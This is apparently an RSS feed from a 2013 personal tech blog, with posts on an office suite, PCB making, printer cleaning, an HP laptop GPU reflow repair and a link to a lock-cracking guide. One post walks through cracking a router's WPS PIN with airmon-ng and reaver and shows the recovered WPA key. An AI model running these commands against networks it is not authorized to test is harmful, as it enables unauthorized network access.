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	<title>Alan C. Assis</title>
	<atom:link href="http://acassis.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://acassis.wordpress.com</link>
	<description>a blog about computers and other funny things</description>
	<lastBuildDate>Mon, 20 May 2013 18:56:02 +0000</lastBuildDate>
	<language>en</language>
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		<title>Alan C. Assis</title>
		<link>http://acassis.wordpress.com</link>
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		<item>
		<title>WPS: Another Office Suite for Linux</title>
		<link>http://acassis.wordpress.com/2013/05/20/wps-another-office-suite-for-linux/</link>
		<comments>http://acassis.wordpress.com/2013/05/20/wps-another-office-suite-for-linux/#comments</comments>
		<pubDate>Mon, 20 May 2013 18:54:56 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://acassis.wordpress.com/?p=3812</guid>
		<description><![CDATA[I was looking for the WPS wireless standard and find out this nice chinese Office Suite for Linux: http://community.wps.cn/download/ After installing it you could put it in English this way: $ cd /opt/kingsoft/wps-office/office6/2052 $ sudo rm qt.qm wps.qm wpp.qm et.qm Compared to [Open,Libre]office this suite is really lite and fast, it deserve your testing. Source: [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3812&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I was looking for the WPS wireless standard and find out this nice chinese Office Suite for Linux:</p>
<p><a href="http://community.wps.cn/download/">http://community.wps.cn/download/</a></p>
<p>After installing it you could put it in English this way:</p>
<pre>
$ cd /opt/kingsoft/wps-office/office6/2052
$ sudo rm qt.qm wps.qm wpp.qm et.qm
</pre>
<p>Compared to [Open,Libre]office this suite is really lite and fast, it deserve your testing.</p>
<p>Source: <a href="http://mosayanvala.wordpress.com/2013/03/04/wps-for-linux-first-impressions/">http://mosayanvala.wordpress.com/2013/03/04/wps-for-linux-first-impressions/</a></p>
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		<title>Cracking WPS Wireless network</title>
		<link>http://acassis.wordpress.com/2013/05/19/cracking-wps-wireless-network/</link>
		<comments>http://acassis.wordpress.com/2013/05/19/cracking-wps-wireless-network/#comments</comments>
		<pubDate>Sun, 19 May 2013 18:40:24 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>

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		<description><![CDATA[This is the way I tested the security of a Wireless network with WPS enabled. Put your wireless card on Monitor mode: $ sudo airmon-ng start wlan0 Run &#8216;reaver&#8217; program to crack the WPS: $ sudo reaver -i mon0 -b 00:11:22:33:44:55 -vv Replace 00:11:22:33:44:55 with the BSSID of wireless router (with WPS enabled) You should [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3809&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This is the way I tested the security of a Wireless network with WPS enabled.</p>
<p>Put your wireless card on Monitor mode:</p>
<pre>
$ sudo airmon-ng start wlan0
</pre>
<p>Run &#8216;reaver&#8217; program to crack the WPS:</p>
<pre>
$ sudo reaver -i mon0 -b 00:11:22:33:44:55 -vv
</pre>
<p>Replace 00:11:22:33:44:55 with the BSSID of wireless router (with WPS enabled)</p>
<p>You should see these messages:</p>
<pre>
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

[+] Waiting for beacon from 00:11:22:33:44:55
[+] Switching mon0 to channel 1
[+] Associated with 00:11:22:33:44:55 (ESSID: WPS-ROUTER)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
</pre>
<p>Many hours later (more than 10h in my case) :</p>
<pre>
[+] Pin cracked in 38417 seconds
[+] WPS PIN: '77805034'
[+] WPA PSK: '6C0D5A37E7B0A30C'
[+] AP SSID: 'WPS-ROUTER'
</pre>
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		<title>How to do metallic via for PCB</title>
		<link>http://acassis.wordpress.com/2013/05/18/how-to-do-metallic-via-for-pcb/</link>
		<comments>http://acassis.wordpress.com/2013/05/18/how-to-do-metallic-via-for-pcb/#comments</comments>
		<pubDate>Sat, 18 May 2013 14:59:10 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[electronics]]></category>

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		<description><![CDATA[This guy implemented a nice way to do metallic via for PCB at home (Portuguese): http://engenhariacaseira.blogspot.com.br Increadible, I want to test it soon!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3807&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This guy implemented a nice way to do metallic via for PCB at home (Portuguese):</p>
<p><a href="http://engenhariacaseira.blogspot.com.br">http://engenhariacaseira.blogspot.com.br</a></p>
<p>Increadible, I want to test it soon!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/acassis.wordpress.com/3807/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/acassis.wordpress.com/3807/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3807&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
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		<title>Using the PCB photoresist APPELATION JH-1609</title>
		<link>http://acassis.wordpress.com/2013/05/17/using-the-pcb-photoresist/</link>
		<comments>http://acassis.wordpress.com/2013/05/17/using-the-pcb-photoresist/#comments</comments>
		<pubDate>Fri, 17 May 2013 12:24:03 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[electronics]]></category>

		<guid isPermaLink="false">http://acassis.wordpress.com/?p=3805</guid>
		<description><![CDATA[I bought this PCB photoresist from eBay: http://www.ebay.com/itm/100g-Photoresist-Anti-etching-Blue-Paint-for-DIY-PCB-dry-film-replacement-/190741561459 Then I started searching about this product and found a nice site explaining how to replace the banana oil by lacquer thinner to dissolve the photoresist ink: http://zapeleven.com/?p=91 Unfortunately this ebay package doesn&#8217;t came with the &#8216;developer&#8217; powder, I&#8217;ll need to discover what this is chemical powder. [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3805&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I bought this PCB photoresist from eBay:</p>
<p><a href="http://www.ebay.com/itm/100g-Photoresist-Anti-etching-Blue-Paint-for-DIY-PCB-dry-film-replacement-/190741561459">http://www.ebay.com/itm/100g-Photoresist-Anti-etching-Blue-Paint-for-DIY-PCB-dry-film-replacement-/190741561459</a></p>
<p>Then I started searching about this product and found a nice site explaining how to replace the banana oil by lacquer thinner to dissolve the photoresist ink:</p>
<p><a href="http://zapeleven.com/?p=91">http://zapeleven.com/?p=91</a></p>
<p>Unfortunately this ebay package doesn&#8217;t came with the &#8216;developer&#8217; powder, I&#8217;ll need to discover what this is chemical powder. Any help is welcome&#8230;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/acassis.wordpress.com/3805/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/acassis.wordpress.com/3805/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3805&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
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		<slash:comments>1</slash:comments>
	
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		<title>How to discover the key secret of Master Lock</title>
		<link>http://acassis.wordpress.com/2013/05/15/how-to-discover-the-key-master-lock/</link>
		<comments>http://acassis.wordpress.com/2013/05/15/how-to-discover-the-key-master-lock/#comments</comments>
		<pubDate>Wed, 15 May 2013 13:50:31 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://acassis.wordpress.com/?p=3803</guid>
		<description><![CDATA[It is common on movies spies unlocking safes, but now you too can do it for Master Lock: http://www.wikihow.com/Crack-a-%22Master-Lock%22-Combination-Lock<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3803&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>It is common on movies spies unlocking safes, but now you too can do it for Master Lock:</p>
<p><a href="http://www.wikihow.com/Crack-a-%22Master-Lock%22-Combination-Lock">http://www.wikihow.com/Crack-a-%22Master-Lock%22-Combination-Lock</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/acassis.wordpress.com/3803/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/acassis.wordpress.com/3803/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3803&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
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		<title>Site americano que vende brocas finas</title>
		<link>http://acassis.wordpress.com/2013/05/09/site-americano-que-vende-brocas-finas/</link>
		<comments>http://acassis.wordpress.com/2013/05/09/site-americano-que-vende-brocas-finas/#comments</comments>
		<pubDate>Thu, 09 May 2013 19:36:00 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://acassis.wordpress.com/?p=3801</guid>
		<description><![CDATA[Infelizmente este site não vende para o Brasil e mesmo dentro dos EUA tem restrições para algumas brocas: http://www.mcmaster.com/#standard-drill-bits/=mof7s1<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3801&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Infelizmente este site não vende para o Brasil e mesmo dentro dos EUA tem restrições para algumas brocas:</p>
<p><a href="http://www.mcmaster.com/#standard-drill-bits/=mof7s1">http://www.mcmaster.com/#standard-drill-bits/=mof7s1</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/acassis.wordpress.com/3801/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/acassis.wordpress.com/3801/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3801&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
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		<title>Accessing IRC channel over web case you company blocks irc port</title>
		<link>http://acassis.wordpress.com/2013/05/04/accessing-irc-channel-over-web-case-you-company-blocks-irc-port/</link>
		<comments>http://acassis.wordpress.com/2013/05/04/accessing-irc-channel-over-web-case-you-company-blocks-irc-port/#comments</comments>
		<pubDate>Sat, 04 May 2013 10:52:25 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://acassis.wordpress.com/?p=3799</guid>
		<description><![CDATA[If you cannot access IRC using ordinary clients because you are behind an IRC firewall that blocks IRC ports, then you need to know the webchat from Freenode: http://webchat.freenode.net<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3799&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>If you cannot access IRC using ordinary clients because you are behind an IRC firewall that blocks IRC ports, then you need to know the webchat from Freenode:</p>
<p><a href="http://webchat.freenode.net">http://webchat.freenode.net</a></p>
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		<title>How to clear you ink-jet head printer</title>
		<link>http://acassis.wordpress.com/2013/05/01/how-to-clear-you-ink-jet-head-printer/</link>
		<comments>http://acassis.wordpress.com/2013/05/01/how-to-clear-you-ink-jet-head-printer/#comments</comments>
		<pubDate>Wed, 01 May 2013 15:09:45 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://acassis.wordpress.com/?p=3794</guid>
		<description><![CDATA[If you are notifing some colors on your ink jet printer are failing and regular clear cycle is not fixing the issue, then it is time to do a manual cleaning. This site explain step-by-step how to do it: http://www.polyphoto.com/tutorials/PrintHeadCleaning/EpsonCleaning.html<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3794&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>If you are notifing some colors on your ink jet printer are failing and regular clear cycle is not fixing the issue, then it is time to do a manual cleaning.</p>
<p>This site explain step-by-step how to do it:</p>
<p><a href="http://www.polyphoto.com/tutorials/PrintHeadCleaning/EpsonCleaning.html">http://www.polyphoto.com/tutorials/PrintHeadCleaning/EpsonCleaning.html</a></p>
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		<title>Como reparar placa do HP Pavilion dv6000</title>
		<link>http://acassis.wordpress.com/2013/04/30/como-reparar-placa-do-hp-pavilion-dv6000/</link>
		<comments>http://acassis.wordpress.com/2013/04/30/como-reparar-placa-do-hp-pavilion-dv6000/#comments</comments>
		<pubDate>Tue, 30 Apr 2013 00:57:18 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[Dicas]]></category>
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		<description><![CDATA[Conheço pelo menos mais cinco pessoas que assim como eu comprou um notebook HP Pavilion DV6000 e após alguns meses de uso ele simplesmente pára de ligar e fica reiniciando antes de aparecer a tela com o logo da HP na BIOS. Não sei se alguém da HP um dia vai ler este post, mas [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3785&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Conheço pelo menos mais cinco pessoas que assim como eu comprou um notebook HP Pavilion DV6000 e após alguns meses de uso ele simplesmente pára de ligar e fica reiniciando antes de aparecer a tela com o logo da HP na BIOS.</p>
<p>Não sei se alguém da HP um dia vai ler este post, mas se acaso ler, fique ciente que estas 5 pessoas e eu nunca mais compraremos um notebook da HP. Acredito que assim como nós outras milhares de pessoas que passaram por este mesmo problema também não comprarão.</p>
<p>Mas afinal, por que este problema acontece e por que a HP não conseguiu detestar isso antes de lançar o notebook no mercado. Vamos lá, um problema de cada vez.</p>
<p>O erro em questão ocorre porque o chip de vídeo (GPU) da Nvidia sobreaquece e alguns pinos chegam a derretar a solda, com isso o notebook fica instável e não liga. Este problema acontece com mais frequência em notebooks onde a poeira bloqueia as aletas de refrigeração do cooler, porém acredito que mesmo sem poeira este problema vai acontecer depois algum tempo.</p>
<p>O mais provável que é a HP não tenha percebido este problema porque não testou o notebook em campo por tempo suficiente, ou tenha testado apenas em países de clima frio, etc.</p>
<p>Este problema serve como um bom exemplo para outras empresas que estão lançando produtos no mercado. Se você não quiser ter dor de cabeça no futuro e perder seus clientes para sempre, teste exaustivamente seu produto, em várias condições de uso, principalmente em condições extremas. Apenas o &#8220;burn-in&#8221; (tipo de teste onde o equipamento é deixado ligado várias horas rodando rotinas de testes pesadas) não é suficiente.</p>
<p>A segunda regra básica: disponibilize protótipos para clientes (equivalente ao &#8220;projeto piloto&#8221; de sistemas), isto ajudará a pegar falhas que você não tinha previsto no seu produto.</p>
<p>Finalmente, se encontrar algum problema grave no produto, tome uma ação rápida para evitar que os clientes sejam prejudicados pela(s) falha(s) do seu produto.</p>
<p>Infelizmente nada disso aconteceu no caso do Notebook HP Pavilion DV6000.</p>
<p>Agora que o problema já esta contextualizado, vamos à solução, na verdade não é uma solução, mas apenas uma forma de reverter o problema e amenizar os efeitos causados.</p>
<p>Primeiro você terá que abrir seu notebook, use o manual de serviço da HP para abri-lo corretamente (se você não tem costume de abrir equipamentos eletrônicos, então peça para algum amigo que tenha conhecimento para fazer isso pra você).</p>
<p>Você deverá desparafusar o cooler para remove-lo da placa mãe, veja os parafusos na imagem abaixo:<br />
<img src="http://farm9.staticflickr.com/8255/8694714306_4364fab70e_d.jpg" /></p>
<p>Em seguida você deve preaquecer a placa antes de aquecer a GPU Nvidia (quadro selecionado em vermelho na imagem acima). Coloque a temperatura da sua estação de ar quente em 100 graus, aqueça a área próxima ao chip e também a área embaixo da placa. É importante fazer isso antes de aquecer o chip, pois a placa poderia &#8220;delaminar&#8221; (trincar, quebrar) e romper as trilhas. Preaqueça por uns 2 minutos.</p>
<p>Agora pegue uma folha de alumínio (destas de cozinha) e corte no centro dela um quadrado do tamanho do chip GPU e coloque o furo exatamente sobre o chip de forma que toda a área do chip fique visível/acessível. Isto evitará que o ar quente derreta o conector do cooler que está próximo do chip e que outros componentes próximo ao chip sejam desoldados.</p>
<p>Coloque 4 moedas de 5 centavos sobre o chip GPU, uma ao lado da outra, formando um quadrado. Como elas são revestidas de cobre, conduzirão o calor rapidamente e também o peso delas vai ajudar o chip a abaixar um pouco quando a solda, que fica embaixo do chip, derreter.</p>
<p>Altere a temperatura da estação de solda para 320C e para velocidade do ar média, não muito forte. E comece jogar o ar quente próximo ao centro do chip GPU em movimentos circulares a uma altura de 5 centimetros do chip, de forma que as quatro moedas fiquem bem aquecidas também. Faça isso durante uns 10 minutos, para garantir que a solda realmente vai derreter, pois demora tempo para que o calor consiga acequer a parte debaixo do chip.</p>
<p>Na parte do dissipador de calor que está ligada ao cooler e que fica exatamente sobre o chip GPU há uma pequena chapa de cobre e abaixo dela uma borracha condutiva, remova esta borracha e coloque uma chapa de cobre no lugar dela (eu cortei uma moeda de 5 centavos em formato retangular). Desta forma a chapa de cobre original estará em contato com a chapa que você criou e esta por sua fez estará em contato direto com o chip GPU da Nvidia. Cuidado para a sua chapa não ficar muito grande e dar curto-circuito com os componentes (resistores e capacitores) soldados na parte superior da GPU.</p>
<p>Finalmente corte o fio branco do conector do cooler, assim o cooler vai ficar funcionando na velocidade máxima o tempo todo.</p>
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		<title>Information is not power</title>
		<link>http://acassis.wordpress.com/2013/04/28/information-is-not-power/</link>
		<comments>http://acassis.wordpress.com/2013/04/28/information-is-not-power/#comments</comments>
		<pubDate>Sun, 28 Apr 2013 11:11:58 +0000</pubDate>
		<dc:creator>acassis</dc:creator>
				<category><![CDATA[QuemDisse]]></category>

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		<description><![CDATA[Thinking about information and power I reached this conclusion: &#8220;Information is not necessarily power. Power is not how much you know, but how efficiently you use the knowledge you have!&#8221; &#8212; A. C. Assis Then I searched for this quotation that I just created to know if someone else create something similar, then I found [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=acassis.wordpress.com&#038;blog=1286908&#038;post=3771&#038;subd=acassis&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Thinking about information and power I reached this conclusion:</p>
<p>&#8220;Information is not necessarily power. Power is not how much you know, but how efficiently you use the knowledge you have!&#8221; &#8212; A. C. Assis</p>
<p>Then I searched for this quotation that I just created to know if someone else create something similar, then I found this nice text:</p>
<p><a href="http://www.sacred-texts.com/nth/tgr/tgr10.htm"></p>
<p>http://www.sacred-texts.com/nth/tgr/tgr10.htm</a></p>
<p>Note: my quotation is not based on this text because it was created before I found it, but it could summarize well the idea explained on that text.</p>
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